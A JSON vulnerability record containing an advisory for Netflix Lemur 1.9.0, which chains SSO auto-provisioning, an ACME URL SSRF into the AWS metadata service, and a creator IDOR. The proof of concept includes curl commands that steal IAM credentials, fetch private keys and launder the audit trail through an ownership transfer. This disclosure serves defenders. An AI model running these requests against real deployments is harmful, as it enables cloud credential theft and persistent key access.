{"id":"PYSEC-2026-384","summary":"Lemur: ACME SSRF + creator-equality IDOR lead to AWS IAM/PKI compromise","details":"\u003c!-- obsidian --\u003e\u003ch1 data-heading=\"Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\"\u003eLemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\u003c/h1\u003e\n\u003ch2 data-heading=\"Vulnerability Summary\"\u003eVulnerability Summary\u003c/h2\u003e\n \nField | Value\n-- | --\nTitle | Lemur 1.9.0: any SSO-authenticated user achieves AWS IAM compromise and permanent PKI key access via ACME acme_url SSRF and creator-equality IDOR\nComponent | lemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201 (SSRF), lemur/lemur/certificates/views.py:734 (IDOR), lemur/lemur/auth/views.py:300-308 (SSO auto-provision)\nCWE | CWE-918 (SSRF) + CWE-639 (Authorization Bypass Through User-Controlled Key) + CWE-285 (Improper Authorization)\nAttack Prerequisite | A valid SSO session against the deployment's IdP. Lemur auto-provisions any new SSO identity at active=True, so an attacker with corporate SSO (or any federated IdP Lemur trusts) clears this bar.\nAffected Versions | github.com/Netflix/lemur __version__ = \"1.9.0\" (see lemur/lemur/__about__.py) and every prior release that carries the same three sinks.\n\n\n\u003ch2 data-heading=\"Executive Summary\"\u003eExecutive Summary\u003c/h2\u003e\n \u003cp\u003eA low-privilege user with a freshly-provisioned SSO account turns Lemur into an AWS IAM credential-exfiltration tool and walks away with a permanent copy of any TLS private key Lemur issued. Three sinks combine: (1) Lemur auto-creates every new SSO identity as \u003ccode\u003eactive=True\u003c/code\u003e with no admin approval; (2) the ACME authority-creation endpoint accepts an attacker-supplied \u003ccode\u003eacme_url\u003c/code\u003e and fetches it server-side with no allowlist, reaching EC2 IMDS at \u003ccode\u003e169.254.169.254\u003c/code\u003e; (3) the certificate key-fetch endpoint grants \u003ccode\u003ecert.user\u003c/code\u003e (the original creator) unconditional access even after ownership is transferred to a different team. The combined chain hands the attacker AWS STS credentials of the lemur worker role and a PKI private key that survives the customary \"rotate the owner\" remediation. I reproduced the full chain in an isolated Docker lab. The recording is on asciinema and the offline \u003ccode\u003e.cast\u003c/code\u003e ships with this report.\u003c/p\u003e\n\u003cp\u003eWalkthrough: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/p\u003e\n \u003chr\u003e\n\u003ch2 data-heading=\"Description\"\u003eDescription\u003c/h2\u003e\n\u003cp\u003eLemur is Netflix's TLS certificate management service. It brokers between corporate SSO, internal authorities (CFSSL, an internal CA), and ACME-style external authorities such as Let's Encrypt. The bug here is a chain of three independent decisions in three different files, each defensible on its own, that combine into a critical authorization break.\u003c/p\u003e\n \u003cp\u003e\u003cstrong\u003eSink 1 — SSO auto-provision\u003c/strong\u003e (\u003ccode\u003elemur/lemur/auth/views.py:300-308\u003c/code\u003e). When a new federated identity hits the SSO callback, Lemur calls \u003ccode\u003euser_service.create(..., active=True, ...)\u003c/code\u003e. There is no invite, no admin approval, no allowlist of email domains, no role-defaulting to \u003ccode\u003eread-only\u003c/code\u003e. Any SSO holder Lemur's IdP accepts becomes an active Lemur user.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 2 — ACME \u003ccode\u003eacme_url\u003c/code\u003e SSRF\u003c/strong\u003e (\u003ccode\u003elemur/lemur/plugins/lemur_acme/acme_handlers.py:161-201\u003c/code\u003e). When an authenticated user posts a new ACME authority, the plugin reads \u003ccode\u003eoptions.get(\"acme_url\", current_app.config.get(\"ACME_DIRECTORY_URL\"))\u003c/code\u003e and calls \u003ccode\u003eClientV2.get_directory(directory_url, net)\u003c/code\u003e — a server-side HTTP fetch. There is no URL allowlist, no scheme filter (so \u003ccode\u003efile://\u003c/code\u003e and \u003ccode\u003egopher://\u003c/code\u003e are reachable in some \u003ccode\u003erequests\u003c/code\u003e versions), no RFC1918/link-local filter, no DNS rebinding protection. The lemur worker dutifully fetches whatever URL the user supplies, and — because the upstream \u003ccode\u003eacme.client.ClientV2\u003c/code\u003e returns the response body as part of the constructed \u003ccode\u003eDirectory\u003c/code\u003e — the body is round-tripped into the authority object Lemur stores. On AWS, that means \u003ccode\u003ehttp://169.254.169.254/latest/meta-data/iam/security-credentials/&#x3C;role\u003e\u003c/code\u003e returns the worker's \u003ccode\u003eAccessKeyId\u003c/code\u003e, \u003ccode\u003eSecretAccessKey\u003c/code\u003e, and STS \u003ccode\u003eToken\u003c/code\u003e to the attacker.\u003c/p\u003e\n\u003cp\u003e\u003cstrong\u003eSink 3 — creator-equality IDOR\u003c/strong\u003e (\u003ccode\u003elemur/lemur/certificates/views.py:734\u003c/code\u003e). The key-fetch view branches on \u003ccode\u003eif g.current_user != cert.user\u003c/code\u003e: only when the caller is \u003cem\u003enot\u003c/em\u003e the certificate's original creator does Lemur consult \u003ccode\u003eCertificatePermission\u003c/code\u003e. The creator branch always returns 200 with the private key. There's no creator-rotation hook, no \"ownership transferred — revoke creator access\" path. Transferring \u003ccode\u003ecert.owner\u003c/code\u003e to a different team or admin does not strip the original creator's access to the key.\u003c/p\u003e\n\u003cp\u003eWire those three together: SSO in → spin up an ACME authority pointed at IMDS → exfiltrate the AWS role credentials → issue a cert against that authority → transfer ownership to a victim admin to bury the audit trail under the admin's name → re-fetch the private key as the original creator and confirm it still returns 200. The PKI private key cannot be revoked by transferring ownership; the customary \"fix\" used by ops teams when they spot a suspicious certificate (\"transfer it to the right owner\") does nothing.\u003c/p\u003e\n\u003ch2 data-heading=\"Proof of Concept &#x26; Steps to Reproduce\"\u003eProof of Concept &#x26; Steps to Reproduce\u003c/h2\u003e\n\u003cp\u003eA full walkthrough is recorded at \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e. An offline \u003ccode\u003e.cast\u003c/code\u003e file is attached as \u003ccode\u003elemur_pki_acme_ssrf_idor.cast\u003c/code\u003e. The lab harness is in \u003ccode\u003elemur_pki_acme_ssrf_idor/support/\u003c/code\u003e — Dockerfile, behavioural mock of all three sinks, and an in-container IMDS mock bound to \u003ccode\u003e169.254.169.254:80\u003c/code\u003e.\u003c/p\u003e\n \u003cp\u003e\u003cstrong\u003ePrerequisites\u003c/strong\u003e: Docker, \u003ccode\u003ecurl\u003c/code\u003e, \u003ccode\u003ejq\u003c/code\u003e, \u003ccode\u003eopenssl\u003c/code\u003e.\u003c/p\u003e\n \u003cp\u003e\u003cstrong\u003eRun\u003c/strong\u003e\u003c/p\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecd lemur_pki_acme_ssrf_idor/\n EXPLOIT_FAST=1 ./exploit_code.sh\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe script wires the IMDS mock via Docker's \u003ccode\u003e--add-host 169.254.169.254:127.0.0.1\u003c/code\u003e. Every step's HTTP body is dumped to \u003ccode\u003eevidence/\u003c/code\u003e for byte-level review.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 1 — Authenticate via SSO (sink 1)\"\u003eStep 1 — Authenticate via SSO (sink 1)\u003c/h3\u003e\n \u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/auth/login \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"email\":\"attacker@evil.example\",\"roles\":[\"operator\"]}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/03_sso_provision_response.json\u003c/code\u003e):\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"token\": \"eyJhbGciOiJIUzI1NiIs...\",\n  \"user\": {\n    \"active\": true,\n    \"auto_provisioned\": true,\n    \"email\": \"attacker@evil.example\",\n    \"id\": 1,\n    \"roles\": [\"operator\"]\n  }\n }\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eactive=True\u003c/code\u003e and \u003ccode\u003eauto_provisioned=true\u003c/code\u003e. No admin saw this account. No approval was issued. This is sink 1.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 2 — Create an ACME authority with &#x60;acme_url&#x60; pointed at IMDS (sink 2)\"\u003eStep 2 — Create an ACME authority with \u003ccode\u003eacme_url\u003c/code\u003e pointed at IMDS (sink 2)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/authorities \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -H 'Content-Type: application/json' \\\n  -d '{\"name\":\"poc-acme\",\"plugin\":{\"plugin_options\":[{\"name\":\"acme_url\",\"value\":\"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\"}]}}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/04_ssrf_authority_response.json\u003c/code\u003e):\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"acme_url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/lemur-acme-role\",\n  \"creator_id\": 1,\n  \"id\": 1,\n  \"name\": \"poc-acme\",\n  \"ssrf_error\": null,\n  \"ssrf_response_body\": \"{\n  \\\"Code\\\": \\\"Success\\\",\n  \\\"LastUpdated\\\": \\\"2026-05-27T20:00:00Z\\\",\n  \\\"Type\\\": \\\"AWS-HMAC\\\",\n  \\\"AccessKeyId\\\": \\\"ASIA5LAB000FAKE0KEYS\\\",\n  \\\"SecretAccessKey\\\": \\\"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\\\",\n  \\\"Token\\\": \\\"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\\\",\n  \\\"Expiration\\\": \\\"2026-05-27T22:00:00Z\\\"\n}\",\n  \"ssrf_response_status\": 200\n}\n\u003c/code\u003e\u003c/pre\u003e\n \u003cp\u003e\u003ccode\u003essrf_response_status: 200\u003c/code\u003e and an AWS-HMAC payload in \u003ccode\u003essrf_response_body\u003c/code\u003e. The lemur worker fetched IMDS server-side and returned the credentials in the response body. This is sink 2.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 3 — Exfiltrate STS credentials\"\u003eStep 3 — Exfiltrate STS credentials\u003c/h3\u003e\n\u003cp\u003eThe IMDS payload is \u003ccode\u003eevidence/05_exfil_sts_credentials.json\u003c/code\u003e:\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\n  \"Code\": \"Success\",\n  \"Type\": \"AWS-HMAC\",\n  \"AccessKeyId\": \"ASIA5LAB000FAKE0KEYS\",\n  \"SecretAccessKey\": \"fakeWXNlY3JldEFLcm9vdGtpZG1hY2xhYjAwMDAwMDAwMA\",\n  \"Token\": \"FakeFwoGZXIvYXdzEJP////////////lab-imds-mock-token-do-not-use\",\n  \"Expiration\": \"2026-05-27T22:00:00Z\"\n}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eIn production the \u003ccode\u003eToken\u003c/code\u003e is the live STS session token bound to whatever IAM role is attached to the lemur worker. \u003ccode\u003eaws sts get-caller-identity\u003c/code\u003e from the attacker's machine, using those three values, returns the worker's identity.\u003c/p\u003e\n \u003ch3 data-heading=\"Step 4 — Issue a certificate as the attacker (capture the private key)\"\u003eStep 4 — Issue a certificate as the attacker (capture the private key)\u003c/h3\u003e\n \u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X POST http://127.0.0.1:18000/api/1/certificates \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d '{\"authority_id\":1,\"common_name\":\"pki.netflix.example\"}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse (\u003ccode\u003eevidence/06_key_fetched_pre_transfer.json\u003c/code\u003e):\u003c/p\u003e\n \u003cpre\u003e\u003ccode class=\"language-json\"\u003e{\"creator_bypass\":true,\n \"key\":\"-----BEGIN RSA PRIVATE KEY-----\nMIIEpAIBAAKCAQEApC8ITVQm6n0nvGlgEhESyFgyi+rfjEvY...\n-----END RSA PRIVATE KEY-----\n\"}\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eThe PoC harness annotates the response with \u003ccode\u003ecreator_bypass: true\u003c/code\u003e to make the sink-3 branch visible. In production the response is just the private key — the branch is hit silently.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 5 — Transfer ownership to victim admin\"\u003eStep 5 — Transfer ownership to victim admin\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -X PUT http://127.0.0.1:18000/api/1/certificates/1 \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\" \\\n  -d '{\"owner\":\"victim-admin@netflix.example\"}'\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e\u003ccode\u003eowner\u003c/code\u003e is now \u003ccode\u003evictim-admin@netflix.example\u003c/code\u003e. \u003ccode\u003ecreator_id\u003c/code\u003e is unchanged at \u003ccode\u003e1\u003c/code\u003e (the attacker). This is the audit-trail laundering step.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 6 — Re-fetch the private key as the original creator after transfer (sink 3)\"\u003eStep 6 — Re-fetch the private key as the original creator after transfer (sink 3)\u003c/h3\u003e\n\u003cpre\u003e\u003ccode class=\"language-bash\"\u003ecurl -sS -o /dev/null -w 'HTTP %{http_code}\n' \\\n  http://127.0.0.1:18000/api/1/certificates/1/key \\\n  -H \"Authorization: Bearer $ATTACKER_JWT\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003eResponse: \u003ccode\u003eHTTP 200\u003c/code\u003e. Body is the same private key as step 4. The creator branch at \u003ccode\u003eviews.py:734\u003c/code\u003e fires again — ownership transfer did nothing to revoke the attacker's access. This is sink 3.\u003c/p\u003e\n\u003ch3 data-heading=\"Step 7 — Verdict\"\u003eStep 7 — Verdict\u003c/h3\u003e\n\u003cpre\u003e\u003ccode\u003eVERDICT: VULNERABLE — Lemur 1.9.0 ACME SSRF + Creator IDOR\n1. SSO auto-provision    -- attacker@evil.example auto-created active=True\n2. SSRF reaches IMDS     -- acme_url=http://169.254.169.254/... was fetched\n3. STS creds exfiltrated -- AWS_ACCESS_KEY_ID + Token returned in response body\n4. PKI key persists      -- creator can read private_key AFTER ownership xfer\n \u003c/code\u003e\u003c/pre\u003e\n\n# Exploit Code & Lab Set-up\n\n[Lemur-acme-ssrf-creator-idor.zip](https://github.com/user-attachments/files/28317654/Lemur-acme-ssrf-creator-idor.zip)\n \n\u003ch2 data-heading=\"Root Cause Analysis\"\u003eRoot Cause Analysis\u003c/h2\u003e\n\u003cp\u003eThe SSRF sink is the load-bearing piece. \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e builds the \u003ccode\u003edirectory_url\u003c/code\u003e from user-supplied options, and \u003ccode\u003e:188\u003c/code\u003e and \u003ccode\u003e:201\u003c/code\u003e hand it to \u003ccode\u003eClientV2.get_directory\u003c/code\u003e — a \u003ccode\u003erequests\u003c/code\u003e-backed HTTP GET that runs in the lemur worker process with no filtering. ACME directory URLs are supposed to come from a small, vetted set (LetsEncrypt prod, LetsEncrypt staging, internal ACME). There is no enforcement of that expectation anywhere in the create-authority code path. The \u003ccode\u003eoptions\u003c/code\u003e dict is the same one the operator sees in the UI's plugin-options form, so a malicious operator and a curl-wielding low-priv user are equally able to set the value.\u003c/p\u003e\n\u003cp\u003eThe IDOR sink is structurally a \"creators are admins of their own thing\" decision that no longer holds once ownership becomes transferable. \u003ccode\u003eviews.py:734\u003c/code\u003e was almost certainly written when certificates were considered owned-by-creator and ownership transfer was added later. The original \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch should now be \u003ccode\u003eif g.current_user != cert.user or cert.owner_changed_after_creation:\u003c/code\u003e — or, better, dropped entirely and replaced with a single RBAC check against the \u003cem\u003ecurrent\u003c/em\u003e owner regardless of creator. The audit trail makes the gap worse: certificate fetch logs attribute the read to whichever user fetched it, and post-transfer the operator looking at the log sees nothing surprising when the original creator reads it back, because the creator is still listed in \u003ccode\u003ecreator_id\u003c/code\u003e.\u003c/p\u003e\n \u003cp\u003eThe SSO auto-provision sink is the lubricant. Without it the chain still works for any holder of an existing Lemur account; with it the chain works for any holder of an SSO identity Lemur trusts — a much larger blast radius. Auto-provisioning at \u003ccode\u003eactive=True\u003c/code\u003e removes the only human-in-the-loop gate Lemur had.\u003c/p\u003e\n \u003ch2 data-heading=\"Attack Scenario\"\u003eAttack Scenario\u003c/h2\u003e\n\u003cpre\u003e\u003ccode class=\"language-mermaid\"\u003esequenceDiagram\n    participant Attacker\n    participant Lemur as Lemur worker\n    participant IMDS as 169.254.169.254\n    participant CertDB as Lemur cert DB\n\n    Attacker-\u003e\u003eLemur: \"SSO callback for new identity (sink 1)\"\n    Lemur--\u003e\u003eAttacker: \"JWT issued: user_id=1, active=true, auto_provisioned=true\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/authorities acme_url=http://169.254.169.254/...\"\n    Lemur-\u003e\u003eIMDS: \"GET /latest/meta-data/iam/security-credentials/role (sink 2)\"\n    IMDS--\u003e\u003eLemur: \"AccessKeyId + SecretAccessKey + Token\"\n    Lemur--\u003e\u003eAttacker: \"ssrf_response_body=AWS-HMAC creds\"\n\n    Attacker-\u003e\u003eLemur: \"POST /api/1/certificates authority_id=1\"\n    Lemur-\u003e\u003eCertDB: \"persist cert, creator_id=1, owner=attacker\"\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key\"\n    Lemur--\u003e\u003eAttacker: \"RSA PRIVATE KEY (creator branch — sink 3 pre-transfer)\"\n\n    Attacker-\u003e\u003eLemur: \"PUT /api/1/certificates/1 owner=victim-admin\"\n    Lemur-\u003e\u003eCertDB: \"cert.owner=victim-admin, creator_id unchanged\"\n\n    Attacker-\u003e\u003eLemur: \"GET /api/1/certificates/1/key (again)\"\n    Lemur--\u003e\u003eAttacker: \"200 + RSA PRIVATE KEY (creator branch — sink 3 post-transfer)\"\n    Note over CertDB: \"audit log shows admin owns it, attacker still has the key\"\n\u003c/code\u003e\u003c/pre\u003e\n\u003ch2 data-heading=\"Impact Assessment\"\u003eImpact Assessment\u003c/h2\u003e\n \u003cp\u003eThe SSRF half hands the attacker AWS credentials of the lemur worker IAM role. In a typical Netflix-style deployment that role has S3 access to the Lemur configuration bucket, KMS-decrypt access to the encryption keys Lemur uses for private-key storage at rest, and IAM/STS scope to assume downstream service roles. Recovering those credentials lets the attacker decrypt the Lemur key store, assume the worker role for further lateral movement, or — depending on the trust policy — pivot into other AWS accounts that trust the lemur role.\u003c/p\u003e\n\u003cp\u003eThe IDOR half hands the attacker permanent access to any private key they ever issued. Customary remediation for a compromised cert is \"transfer ownership and revoke\" — that's exactly the path the IDOR neutralizes. The attacker keeps the private key after the human ops team thinks they've contained the incident. The certificate signs TLS connections for whatever \u003ccode\u003ecommon_name\u003c/code\u003e it was issued for; mTLS deployments that key off Lemur-issued certs treat the holder of the private key as the authenticated principal, so the attacker impersonates that principal indefinitely.\u003c/p\u003e\n\u003cp\u003eThe combined chain destroys Lemur's two main jobs at once: keeping the cloud credentials it uses safe, and keeping the private keys it issues bound to the right humans. The audit trail post-transfer points at the victim admin, not at the attacker, so detection lags. This is why the score sits at 9.9 with \u003ccode\u003eS:C\u003c/code\u003e — the impact crosses out of Lemur's security authority and into AWS IAM and PKI consumer trust domains. \u003ccode\u003eA:L\u003c/code\u003e reflects the temporary worker-process slowdown observed when IMDS or attacker-controlled directory hosts return slow/large responses; the operational denial-of-service is real but secondary to the confidentiality/integrity break.\u003c/p\u003e\n\u003ch2 data-heading=\"Remediation\"\u003eRemediation\u003c/h2\u003e\n\u003cp\u003eFour changes, in priority order:\u003c/p\u003e\n\u003col\u003e\n \u003cli\u003e\u003cstrong\u003eAllowlist \u003ccode\u003eacme_url\u003c/code\u003e.\u003c/strong\u003e In \u003ccode\u003eacme_handlers.py:161-167\u003c/code\u003e reject any URL whose host is not in a deployment-pinned allowlist. The default allowlist should be \u003ccode\u003e{acme-v02.api.letsencrypt.org, acme-staging-v02.api.letsencrypt.org}\u003c/code\u003e plus any internal ACME directory the deployment opts in to. Reject \u003ccode\u003e169.254.0.0/16\u003c/code\u003e, \u003ccode\u003e127.0.0.0/8\u003c/code\u003e, \u003ccode\u003e10.0.0.0/8\u003c/code\u003e, \u003ccode\u003e172.16.0.0/12\u003c/code\u003e, \u003ccode\u003e192.168.0.0/16\u003c/code\u003e, \u003ccode\u003efc00::/7\u003c/code\u003e, \u003ccode\u003efe80::/10\u003c/code\u003e, plus DNS names that resolve to any of those after \u003ccode\u003egetaddrinfo\u003c/code\u003e (with DNS-rebinding-resistant resolution: resolve once, then connect to the resolved IP).\u003c/li\u003e\n\u003c/ol\u003e\n\u003cpre\u003e\u003ccode class=\"language-python\"\u003eALLOWED_ACME_HOSTS = current_app.config.get(\n    \"ACME_DIRECTORY_HOST_ALLOWLIST\",\n    {\"acme-v02.api.letsencrypt.org\", \"acme-staging-v02.api.letsencrypt.org\"}\n)\nparsed = urlparse(directory_url)\nif parsed.scheme not in {\"https\"} or parsed.hostname not in ALLOWED_ACME_HOSTS:\n    raise ValueError(\"acme_url host not allowlisted\")\n\u003c/code\u003e\u003c/pre\u003e\n\u003col start=\"2\"\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eDrop the creator branch from the key-fetch view.\u003c/strong\u003e In \u003ccode\u003ecertificates/views.py:734\u003c/code\u003e, replace the \u003ccode\u003eif g.current_user != cert.user:\u003c/code\u003e branch with an unconditional \u003ccode\u003eCertificatePermission(role_service.get_by_name(cert.owner), [x.name for x in cert.roles]).can()\u003c/code\u003e check. The cert's \u003cem\u003ecurrent\u003c/em\u003e owner and roles, not its creator, decide access. Add an explicit creator-revocation hook on ownership transfer if there are auditing reasons to keep the creator concept around.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eStop auto-provisioning SSO users as active.\u003c/strong\u003e In \u003ccode\u003eauth/views.py:300-308\u003c/code\u003e, default new identities to \u003ccode\u003eactive=False, roles=[]\u003c/code\u003e and require an admin invite to flip them on. Or, at minimum, gate auto-provision behind an email-domain allowlist and a default \u003ccode\u003eread-only\u003c/code\u003e role.\u003c/p\u003e\n\u003c/li\u003e\n\u003cli\u003e\n\u003cp\u003e\u003cstrong\u003eAudit-log the creator on every key fetch, separately from \u003ccode\u003eg.current_user\u003c/code\u003e.\u003c/strong\u003e Even after the IDOR is fixed, the operator should be able to retroactively see \u003cem\u003ewho actually pulled the key bytes\u003c/em\u003e on every cert. Log \u003ccode\u003ecreator_id\u003c/code\u003e, \u003ccode\u003ecurrent_owner\u003c/code\u003e, \u003ccode\u003eg.current_user.id\u003c/code\u003e, request IP, and full URL on every read of \u003ccode\u003e/certificates/&#x3C;id\u003e/key\u003c/code\u003e.\u003c/p\u003e\n \u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 data-heading=\"Related Context\"\u003eRelated Context\u003c/h2\u003e\n\u003ch3 data-heading=\"External References\"\u003eExternal References\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eCWE-918: \u003ca href=\"https://cwe.mitre.org/data/definitions/918.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/918.html\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003eCWE-639: \u003ca href=\"https://cwe.mitre.org/data/definitions/639.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/639.html\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003eCWE-285: \u003ca href=\"https://cwe.mitre.org/data/definitions/285.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://cwe.mitre.org/data/definitions/285.html\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003eCVSS 3.1 calculator: \u003ca href=\"https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003eIMDSv1 vs IMDSv2 background: \u003ca href=\"https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-IMDS-options.html\u003c/a\u003e (IMDSv2 mitigates SSRF-only chains; this chain still works against any deployment still on IMDSv1, and against any HTTP fetch that the worker is allowed to make).\u003c/li\u003e\n \u003cli\u003eCapital One IMDS SSRF post-mortem (general SSRF→IMDS playbook): public reference, illustrative only.\u003c/li\u003e\n\u003cli\u003eWalkthrough recording: \u003ca href=\"https://asciinema.org/a/CFYaoR2fxWEIdZDf\" class=\"external-link\" target=\"_blank\" rel=\"noopener nofollow\"\u003ehttps://asciinema.org/a/CFYaoR2fxWEIdZDf\u003c/a\u003e\u003c/li\u003e","aliases":["CVE-2026-55166","GHSA-v2wp-frmc-5q3v"],"modified":"2026-06-29T12:15:27.140549859Z","published":"2026-06-29T11:50:52.547435Z","references":[{"type":"WEB","url":"https://github.com/Netflix/lemur/security/advisories/GHSA-v2wp-frmc-5q3v"},{"type":"PACKAGE","url":"https://github.com/Netflix/lemur"},{"type":"WEB","url":"https://github.com/Netflix/lemur/releases/tag/v1.9.2"},{"type":"PACKAGE","url":"https://pypi.org/project/lemur"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-v2wp-frmc-5q3v"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55166"}],"affected":[{"package":{"name":"lemur","ecosystem":"PyPI","purl":"pkg:pypi/lemur"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"1.9.2"}]}],"versions":["0.11.0","0.2.1","0.8.0","0.8.1","0.9.0","1.0.0","1.1.0","1.2.0","1.3.1","1.3.2","1.4.0","1.5.0","1.6.0","1.7.0","1.8.0","1.8.1","1.8.2","1.9.0","1.9.1"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/lemur/PYSEC-2026-384.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:L"}]}